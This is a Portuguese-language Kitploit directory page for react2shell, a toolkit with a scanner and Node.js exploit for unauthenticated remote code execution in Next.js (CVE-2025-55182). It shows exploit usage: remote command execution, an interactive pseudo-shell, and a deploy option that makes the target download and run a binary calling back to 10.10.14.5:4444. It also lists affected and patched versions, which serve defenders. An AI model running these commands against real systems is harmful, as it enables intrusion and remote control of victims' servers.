Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182-react2shell — Um scanner bash para detectar a vulnerabilidade CVE-2025-55182 em aplicações Next.js. E um script nodejs PoC. | Kitploit
Ferramentas/GitHubGitHub/saturate/cve-2025-55182-react2shell
Scanners de VulnerabilidadesExploraçãoShellcodeExploração de Aplicações WebTestes de PenetraçãoComando e ControleFerramenta de Acesso RemotoDesenvolvimento de Payloads

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
saturate/cve-2025-55182-react2shell

CVE-2025-55182-react2shell

Um scanner bash para detectar a vulnerabilidade CVE-2025-55182 em aplicações Next.js. E um script nodejs PoC.

Ver Repositório
1há 1 mêsAinda não revisado

react2shell

Kit de ferramentas CVE-2025-55182. Scanner + exploit para RCE não autenticada no Next.js via injeção de payload RSC.

Exploit em Node.js: zero dependências. Scanner em Bash: verifica URLs únicas ou listas em lote.

Exploit

root@kitploit:~
# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"

# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i

# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
  --deploy ./my-agent \
  --remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
root@kitploit:~
Options:
  -t, --target <url>       Target URL (required)
  -c, --command <cmd>      Execute command with output
  --blind                  Blind RCE (no output capture)
  -i, --interactive        Interactive pseudo-shell
  --deploy <binary>        Upload and execute a binary on the target
  --lhost <ip>             Your IP (auto-detected if omitted)
  --serve-port <port>      HTTP port to serve the binary (default: 8888)
  --remote-args <args>     Arguments passed to the deployed binary

--deploy encadeia quatro chamadas de RCE: detecção de plataforma (uname), download do binário (inicia um servidor HTTP temporário, usa curl/wget no alvo) e um spawn destacado para que o processo sobreviva ao tempo limite de 5 segundos do execSync.

Nota: A página alvo deve ser dinâmica (force-dynamic ou uma rota não armazenável em cache). Páginas estáticas/pré-renderizadas retornam digests em cache em vez de executar o payload.

Scanner

root@kitploit:~
chmod +x cve-2025-55182-check.sh

# Scan a single URL
./cve-2025-55182-check.sh https://example.com

# Scan multiple URLs
./cve-2025-55182-check.sh -f urls.txt

# JSON output
./cve-2025-55182-check.sh --json https://example.com
root@kitploit:~
Options:
  -f, --file FILE         Read URLs from file (one per line)
  -v, --verbose           Verbose output (show curl details)
  -q, --quiet             Quiet mode (only show vulnerable sites)
  -n, --no-follow         Don't follow redirects
  -t, --timeout SECONDS   Request timeout (default: 10)
  --json                  Output results in JSON format
  --validate-fix          Test for mitigation controls
  --single-payload        Use only the basic payload (faster)

Modelos de integração

Modelos para ferramentas de segurança em templates/:

  • Nuclei (templates/nuclei.yaml)
  • Burp Suite (templates/burp-scanner.json)
  • OWASP ZAP (templates/zap-scan-policy.xml)

Versões afetadas

React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js: >=14.3.0-canary.77, todos os 15.x e 16.x (antes dos patches)

Corrigido: React 19.0.1+, 19.1.2+, 19.2.1+ Next.js 16.0.7+, 15.5.7+, 15.4.8+, 15.3.6+, 15.2.6+, 15.1.9+, 15.0.5+

Detalhes técnicos

Consulte TECHNICAL.md para a análise completa da cadeia de exploração.

Referências

  • CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
  • Comunicado React: https://react.dev/blog/2025/12/03/critical-security-vulnerability
  • Commit de correção: https://github.com/facebook/react/commit/7dc903cd29

Licença

MIT

Autor

Allan Kimmer Jensen - https://akj.io

Baixar ferramenta